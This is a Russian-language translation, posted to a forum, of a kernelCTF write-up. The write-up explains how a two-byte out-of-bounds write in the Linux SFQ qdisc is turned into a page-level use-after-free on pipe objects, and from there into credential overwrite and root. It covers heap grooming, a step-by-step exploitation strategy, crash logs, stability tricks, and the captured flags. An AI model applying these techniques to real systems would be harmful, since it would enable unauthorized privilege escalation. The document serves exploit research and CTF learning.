Поле pipe->files используется как счётчик ссылок для определения, когда структура pipe_inode_info и все связанные с ней объекты должны быть освобождены. Проблема в том, что это поле нельзя контролировать с помощью pipe(), так как это значение всегда устанавливается в два для обычных каналов. Вместо этого нам нужно использовать именованные каналы, созданные с помощью mkfifo().
Обновление: Как сообщил Pumpkin, также можно создать канал с помощью системного вызова pipe(), а затем открыть /proc/self/fd/<n>, чтобы вызвать fifo_open() и увеличить pipe->files. Очень хороший трюк, спасибо, Pumpkin! Я также упомяну, что всегда в proc/fd.c есть вызов get_file(), который может быть очень полезен в некоторых особых случаях... :)
При открытии именованного канала вызывается fifo_open(). Если inode->i_pipe отсутствует, новый объект pipe_inode_info выделяется функцией alloc_pipe_info() в kmalloc-cg-192, и pipe->files увеличивается. Если inode->i_pipe уже существует, то увеличивается только pipe->files:

C:
static int fifo_open(struct inode *inode, struct file *filp)
{
struct pipe_inode_info *pipe;
bool is_pipe = inode->i_sb->s_magic == PIPEFS_MAGIC;
int ret;
filp->f_version = 0;

spin_lock(&inode->i_lock);
if (inode->i_pipe) {
    // inode->i_pipe уже существует, увеличиваем счётчик pipe->files
    pipe = inode->i_pipe;
    pipe->files++; // [1]
    spin_unlock(&inode->i_lock);
} else {
    // inode->i_pipe отсутствует, выделяем новый объект pipe_inode_info
    spin_unlock(&inode->i_lock);
    pipe = alloc_pipe_info(); // [2]
    if (!pipe)
        return -ENOMEM;
    pipe->files = 1;
    // ...
    inode->i_pipe = pipe;
    // ...
}
filp->private_data = pipe;

// ...
Use code with caution.
}
struct pipe_inode_info *alloc_pipe_info(void)
{
// ...
// sizeof(struct pipe_inode_info) = 168. Установлен флаг GFP_KERNEL_ACCOUNT
// Так что выделение происходит в kmalloc-cg-192
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
// ...
}

Когда файловый дескриптор именованного канала закрывается, вызывается put_pipe_info(), и если --pipe->files становится равным 0, структура pipe_inode_info и все связанные с ней объекты освобождаются:

C:
static void put_pipe_info(struct inode *inode, struct pipe_inode_info *pipe)
{
int kill = 0;
spin_lock(&inode->i_lock);
if (!--pipe->files) {
    inode->i_pipe = NULL;
    kill = 1;
}
spin_unlock(&inode->i_lock);

if (kill)
    free_pipe_info(pipe);
Use code with caution.
}

Освобождение канала выполняется функцией free_pipe_info(). Эта функция начинает итерацию по всем буферам канала и освобождает их, вызывая pipe_buf_release(), которая внутри вызывает buff->ops->release() (anon_pipe_buf_release()).

Самое интересное заключается в том, что при освобождении free_pipe_info() также освобождает pipe->tmp_page, если он существует. В нашем случае это вызовет UAF на уровне страницы, так как у нас всё ещё есть доступ к освобождённому каналу. Это очень мощный примитив!

C:
static void anon_pipe_buf_release(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
struct page *page = buf->page;
if (page_count(page) == 1 && !pipe->tmp_page)
    pipe->tmp_page = page;
else
    put_page(page); // ***
Use code with caution.
}
void free_pipe_info(struct pipe_inode_info *pipe)
{
unsigned int i;
// ...

for (i = 0; i < pipe->ring_size; i++) {
    struct pipe_buffer *buf = pipe->bufs + i;
    if (buf->ops)
        pipe_buf_release(pipe, buf);
}

// ...

if (pipe->tmp_page)
    __free_page(pipe->tmp_page); // ***
kfree(pipe->bufs);
kfree(pipe);
Use code with caution.
}

Похоже, мы наконец-то нашли подходящий объект-жертву; теперь нам нужно найти способ надёжно контролировать раскладку памяти ядра.

Управление раскладкой памяти ядра


Мы определили наш целевой объект. Мы знаем, что он выделяется в kmalloc-cg-192 функцией alloc_pipe_info(), и мы знаем, что с нашей записью за пределы буфера, при условии, что мы сможем добиться хорошего контроля над памятью ядра, у нас есть 50% шанс перезаписать pipe->files вместо pipe->rd_wait и вызвать UAF на уровне страницы, что может предоставить нам примитив чтения/записи (R/W) на произвольной странице памяти.

Теперь нам нужно контролировать раскладку памяти ядра, так как на данный момент мы находимся в следующей ситуации:

1749363498703.png
Я начал думать о памяти в виде логических блоков по 256 КБ каждый, с целью чередования 256-килобайтного блока памяти, содержащего атакующие объекты (серые блоки), с одним или несколькими блоками, содержащими объекты-жертвы (красные блоки):

1749363527237.png
Атакующий объект, SFQ Qdisc (struct Qdisc + struct sfq_sched_data), выделяется в kmalloc-2k. Согласно /proc/slabinfo, slab-кэш kmalloc-2k требует одну страницу 3-го порядка и может содержать 16 объектов, каждый размером 2 КБ.

Следовательно, предполагая, что мы можем получить доступ к непрерывному участку памяти, если мы логически разделим память ядра на несколько блоков по 256 КБ, мы сможем заполнить 256-килобайтный блок 8 страницами 3-го порядка (что соответствует 8 slab-кэшам kmalloc-2k), выделив 128 объектов kmalloc-2k подряд. Это приведёт к следующей ситуации в памяти:

1749363562871.png
Затем мы приступаем к заполнению следующего 256-килобайтного блока 64 страницами 0-го порядка (что соответствует 64 slab-кэшам kmalloc-192). Каждый slab-кэш kmalloc-192 содержит 21 объект, каждый размером 192 байта. Это означает, что если мы хотим заполнить 256 КБ памяти, нам нужно выделить 1344 объекта kmalloc-192:

1749363637423.png
Обратите внимание, что описанная выше раскладка памяти может быть достигнута только теоретически. В реальности многие переменные невозможно контролировать. Например, мы не знаем, когда выделяется новый slab-кэш (возможно, SLUBStick мог бы помочь в этом случае?), мы не знаем, освобождаются ли другие страницы другими процессами, что может нарушить нашу попытку получить доступ к непрерывному участку памяти, и так далее. Однако попытка получить такую раскладку памяти — это хорошая отправная точка.
Теперь, распределитель страниц ядра организует страницы разного порядка и типа миграции в разные списки свободных страниц (freelists). Если мы хотим чередовать 256-килобайтный блок, содержащий 8 страниц 3-го порядка (или 8 slab-кэшей kmalloc-2k), и 256-килобайтный блок, содержащий 64 страницы 0-го порядка (или 64 slab-кэша kmalloc-cg-192), нам сначала нужно опустошить все списки PCP для неподвижного (unmovable) типа миграции (slab-кэши ядра выделяются с использованием этого типа миграции) и, возможно, все списки свободных страниц buddy allocator для того же типа миграции, от 0-го до 3-го порядка или даже выше.

Таким образом, последующие запросы заставят buddy allocator разделять страницы более высокого порядка на «парные» страницы более низкого порядка. Это даст нам доступ к относительно большим непрерывным участкам памяти. Если вы не знакомы с buddy allocator в Linux или просто хотите освежить знания, я недавно собрал некоторые из своих заметок в статье: Краткое погружение в распределитель страниц Linux.

Наша цель — достичь следующей конфигурации памяти (или, по крайней мере, чего-то похожего), с блоком в 256 КБ, содержащим 128 объектов kmalloc-2k (8 страниц 3-го порядка), и последующим блоком в 256 КБ, содержащим 1344 объекта kmalloc-cg-192 (64 страницы 0-го порядка):

1749363731058.png
Эту раскладку памяти также можно использовать для многократного вызова уязвимости из разных 256-килобайтных блоков, но в нашем эксплойте мы будем использовать одну запись.
Стратегия эксплуатации


Подводя итог, с помощью следующей стратегии мы должны быть в состоянии перейти от записи 0x0000 на 256+ КБ за пределы буфера к UAF на уровне страницы и получить произвольное чтение/запись на странице памяти:

  • Создать много именованных каналов с помощью mkfifo().
  • Опустошить неподвижные страницы от 0-го до 3-го порядка.
  • Чередовать 256-килобайтный блок памяти, содержащий SFQ Qdisc, и другой блок, содержащий именованные каналы. На этом этапе для всех каналов pipe->files == 1.
  • Использовать запись за пределы буфера, чтобы установить pipe->files одного из каналов в 0. Для всех каналов pipe->files == 1, для канала-жертвы pipe->files == 0.
  • Повторно открыть все именованные каналы, чтобы увеличить pipe->files. Для всех каналов pipe->files == 2, для канала-жертвы pipe->files == 1.
  • Закрыть все именованные каналы, чтобы pipe->files уменьшился. Для всех каналов pipe->files == 1, для канала-жертвы pipe->files == 0.
  • Вызывается free_pipe_inode(), канал-жертва освобождается, и pipe->tmp_page освобождается, вызывая UAF на уровне страницы, поскольку у нас всё ещё есть контроль над этой страницей через файловый дескриптор именованного канала, полученный во время спрея каналов на третьем шаге.

Страница, которую мы только что освободили, была изначально выделена в pipe_write(). Обратите внимание на флаги GFP: page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);. Как мы можем прочитать в документации ядра:

Код:
GFP_HIGHUSER означает, что выделенная память не является перемещаемой,
но не требуется, чтобы она была напрямую доступна ядру.
Примером может служить аппаратное выделение, которое отображает данные напрямую
в пространство пользователя, но не имеет ограничений по адресации.

Это указывает на то, что ядро запрашивает неподвижную страницу 0-го порядка. Таким образом, когда страница освобождается, мы можем легко перезахватить её с помощью slab-кэша, выделенного на странице 0-го порядка с тем же типом миграции.

Мы можем использовать slab-кэш filp, точнее, slab-кэш filp, содержащий файлы signalfd. Затем мы можем использовать pipe_read() и pipe_write(), чтобы подменить указатель file->private_data на file->f_cred, и использовать многократные записи для перезаписи учётных данных процесса нулями, благодаря старшим байтам маски signalfd_ctx через do_signalfd4():

C:
static int do_signalfd4(int ufd, sigset_t *mask, int flags)
{
struct signalfd_ctx *ctx;
// ...

if (flags & ~(SFD_CLOEXEC | SFD_NONBLOCK))
    return -EINVAL;

sigdelsetmask(mask, sigmask(SIGKILL) | sigmask(SIGSTOP));
signotset(mask);

if (ufd == -1) {
    struct file *file;

    ctx = kmalloc(sizeof(*ctx), GFP_KERNEL);
    if (!ctx)
        return -ENOMEM;

    ctx->sigmask = *mask;

    // ...
    file = anon_inode_getfile("[signalfd]", &signalfd_fops, ctx,
                   O_RDWR | (flags & O_NONBLOCK));
    // ...
} else {
    // ...
    // Мы подменили file->private_data на file->f_cred
    // Так что здесь ctx = file->f_cred
    ctx = fd_file(f)->private_data;
    // ...
    ctx->sigmask = *mask; // Перезаписываем f_cred
    // ...
}

return ufd;
Use code with caution.
}
Анализ эксплойта


Этот раздел будет обновлён, как только эксплойт будет опубликован в репозитории Google Security Research. Если вам интересно, следите за Pull-запросами.

exploit.gif
Дополнительные примечания


В моей локальной среде мне удавалось получить права root в 30-40% случаев, не вызывая падения ядра. Вот некоторые соображения для повышения стабильности.

Самый распространённый сбой, вызываемый эксплойтом, происходит, когда 0x0000 повреждает список ожидания pipe->rd_wait вместо pipe->files.

Если этот список повреждён, вызывается ошибка общей защиты (general protection fault) функцией wake_up_interruptible_sync_poll(), когда pipe_write() используется для записи данных в пустой канал или pipe_read() используется для чтения данных из канала без его опустошения.

Обратите внимание, как печально известный 0x0000 повредил один из указателей pipe->rd_wait:

Код:
[ 44.490678] general protection fault, probably for non-canonical address 0xffff00008f2fa9e8: 0000 [#1] PREEMPT SMP PTI
[ 44.492224] CPU: 0 PID: 392 Comm: exp Not tainted 6.6.84 #1
[ 44.493043] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014
[ 44.494427] RIP: 0010:__wake_up_common+0x4c/0x180
[ 44.495162] Code: 24 0c 89 4c 24 08 4d 85 c9 74 0a 41 f6 01 04 0f 85 a3 00 00 00 48 8b 43 08 4c 8d 40 ...
...
[ 44.507085] Call Trace:
[ 44.507434] <TASK>
[ 44.507735] ? die_addr+0x32/0x80
[ 44.508189] ? exc_general_protection+0x14c/0x3c0
[ 44.508808] ? try_charge_memcg+0x3ae/0x8b0
[ 44.509385] ? asm_exc_general_protection+0x22/0x30
[ 44.510054] ? __wake_up_common+0x4c/0x180
[ 44.510533] ? _copy_from_iter+0x57/0x500
[ 44.511025] __wake_up_common_lock+0x82/0xd0
[ 44.511631] pipe_write+0x372/0x720
[ 44.512135] ? apparmor_file_permission+0x82/0x180
[ 44.512807] vfs_write+0x393/0x440
[ 44.513264] ksys_write+0xb7/0xf0
[ 44.513680] do_syscall_64+0x5e/0x90

Поскольку достижение 90% стабильности с такой ошибкой может быть очень сложной задачей, и я не был уверен, что выиграю гонку за слот LTS (спойлер: я был прав), я не стал сосредотачиваться на аспекте стабильности. Однако я считаю, что можно идентифицировать повреждённый канал, не полагаясь на pipe_read() и pipe_write(), а скорее через побочный канал с использованием pipe_ioctl().

C:
static long pipe_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
struct pipe_inode_info *pipe = filp->private_data;
unsigned int count, head, tail, mask;
switch (cmd) {
case FIONREAD:
    __pipe_lock(pipe);
    count = 0;
    head = pipe->head;
    tail = pipe->tail;
    mask = pipe->ring_size - 1;

    while (tail != head) {
        count += pipe->bufs[tail & mask].len; // ***
        tail++;
    }
    __pipe_unlock(pipe);

    return put_user(count, (int __user *)arg);
Use code with caution.
// ...

Когда канал освобождается и возникает условие UAF, free_pipe_info() также освобождает pipe->bufs. Это приведёт к тому, что обфусцированный указатель на свободный список slab-кэша пересечётся с полями len и offset одного из буферов канала. Поскольку у нас всё ещё есть доступ к этому каналу, pipe_ioctl() можно использовать для получения количества байт, находящихся в канале. Если это число очень большое, это указывает на то, что мы нашли повреждённый канал:

1749363840893.png

Другим теоретически возможным побочным каналом (это сложнее, но забавно!) было бы открытие каналов только для записи, чтобы pipe->readers = 0 для всех каналов. Когда free_inode_info() освобождает канал, обфусцированный указатель на свободный список slab-кэша пересекается с pipe->nr_accounted и pipe->readers из pipe_inode_info, что приводит к очень большому значению pipe->readers:

1749363864294.png
По умолчанию попытка записи в канал, открытый только для записи, без активных читателей, приводит к сигналу SIGPIPE (который можно обработать в пространстве пользователя с помощью sigaction()) в самом начале pipe_write(). Это означает, что если мы будем писать во все каналы, мы сможем идентифицировать повреждённый, когда SIGPIPE не будет получен:

C:
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
// ...
if (!pipe->readers) {
    send_sig(SIGPIPE, current, 0);
    ret = -EPIPE;
    goto out;
}

// ...
Use code with caution.
}

Инстанс с защитными мерами (Mitigation Instance)
Хотя мне удалось украсть флаг с инстанса с защитными мерами, используя тот же бинарный файл, эти меры оказали значительное влияние на стабильность. Основная проблема вызвана сторожевыми страницами slab_virtual, неотмеченным пространством между slab-кэшами, создаваемым при выделении нового slab-кэша (см. alloc_slab_meta()):

C:
/*
* [data_range_start, data_range_end) — это диапазон виртуальных адресов, где
* будут отображены объекты этого slab-кэша.
* Нам нужно выравнивание, соответствующее порядку. Обратите внимание, что это может быть
* ослаблено в зависимости от требований к выравниванию выделяемых объектов,
* но пока мы ведём себя так, как вёл бы себя распределитель страниц.
*/
data_range_start = ALIGN(old_base + slub_virtual_guard_size, alloc_size);
data_range_end = data_range_start + alloc_size;

Иногда запись 0x0000 за пределы буфера попадает на одну из этих сторожевых страниц, что приводит к неминуемому сбою. Я не смог найти способ обойти эту проблему, поэтому решил не занимать слот инстанса с защитными мерами неподходящим решением. Вот сбой, вызванный сторожевой страницей:

Код:
[ 16.989954] BUG: unable to handle page fault for address: fffffe89224961ec
[ 16.992109] #PF: supervisor read access in kernel mode
[ 16.993716] #PF: error_code(0x0000) - not-present page
[ 16.995909] PGD 100041067 P4D 100041067 PUD 4e1db067 PMD 684a1067 PTE 0
[ 16.998056] Oops: 0000 [#1] PREEMPT SMP NOPTI
[ 16.999440] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 6.6.0+ #1
[ 17.001285] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014
[ 17.003840] RIP: 0010:sfq_dequeue+0x112/0x290
[ 17.005252] Code: 0f b7 5a 10 41 8d 5b ff 66 41 89 5a 10 66 45 39 c1 0f 84 10 01 00 00 48 03 81 ...

Слот всё ещё свободен, так что если вы найдёте решение этой проблемы и достигнете 70% стабильности, дерзайте! И если у вас получится, дайте мне знать! :)
Заключение


Это было настоящее путешествие! Если вы дочитали до этого момента, я надеюсь, что эта статья была для вас полезной и вы узнали что-то новое. Вероятно, это был самый интересный эксплойт, над которым я работал, и я многому научился, особенно о важности настойчивости в этой области.

Огромное спасибо FizzBuzz101 за всю поддержку, и 0xTen за предоставление мне его автоматического отправщика флагов для kernelCTF, программы, которую он изначально использовал, чтобы выиграть гонку за слот, когда он эксплуатировал 0-day на системах Google.

В итоге, несмотря на то, что эксплойт работал на всех инстансах, мне удалось занять только слот COS 105. Гонка за слот LTS очень сложная, и когда я нацелился на 6.6.86, мой скрипт на pwntools, который доставлял эксплойт, сломался, что привело к задержке с отправкой (LOL).

Название этой статьи вдохновлено Четырьмя байтами власти Алекса Попова, статьёй, в которой он объясняет свой путь эксплуатации уязвимости типа «состояние гонки» в подсистеме vsock. Его статья — одна из тех, что пробудили мой интерес к эксплуатации ядра, так что если вы её ещё не читали, вам определённо стоит это сделать! В конце концов, четыре байта дали ему власть, а 0x0000 свели меня с ума.


Код:
// COS 105 & 109
kernelCTF{v1:cos-105-17412.535.78:1744836032:f828e5a14888c35b28da48b6c5fc4669f85e446b}
kernelCTF{future:v1:cos-109-17800.436.91:1744964166:18ce6300c303f19fe10bc52cc13643051cd92aeb}
// LTS 6.6.84 & .86
kernelCTF{v1:lts-6.6.84:1744836483:e99dfaf20fb7a3716b032908163b0df856bb7466}
kernelCTF{v1:lts-6.6.86:1744977684:ef6fa48de28a76c73547188b105c5757b35aebf7}
// Mitigation instnace
kernelCTF{v1:mitigation-v4-6.6:1744837734:42ca482efc2dd4463b1e899b440be32785385ce4}


Ссылки





Перевод подготовлен с любовью S3VE7N для комьюнити XSS
Поддержать автора и будущие переводы:
BTC:
Код:
bc1qktt7uhzptuvfv4dqqd634m0jzk4345p09xlkcj
ETH:
Код:
0xd8fDa0D2aa5AE187968041306c7f28618744221B
LTC:
Код:
ltc1qvl8w6nguls78tze5xlf9x5wxd3h6pwl0x2nm7j



SOURCE: https://syst3mfailure.io/two-bytes-of-madness/
 
Последнее редактирование модератором:
ух, крутой анализ и огромное спасибо за перевод. Будет над чем голову поломать, люблю такие штуки.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх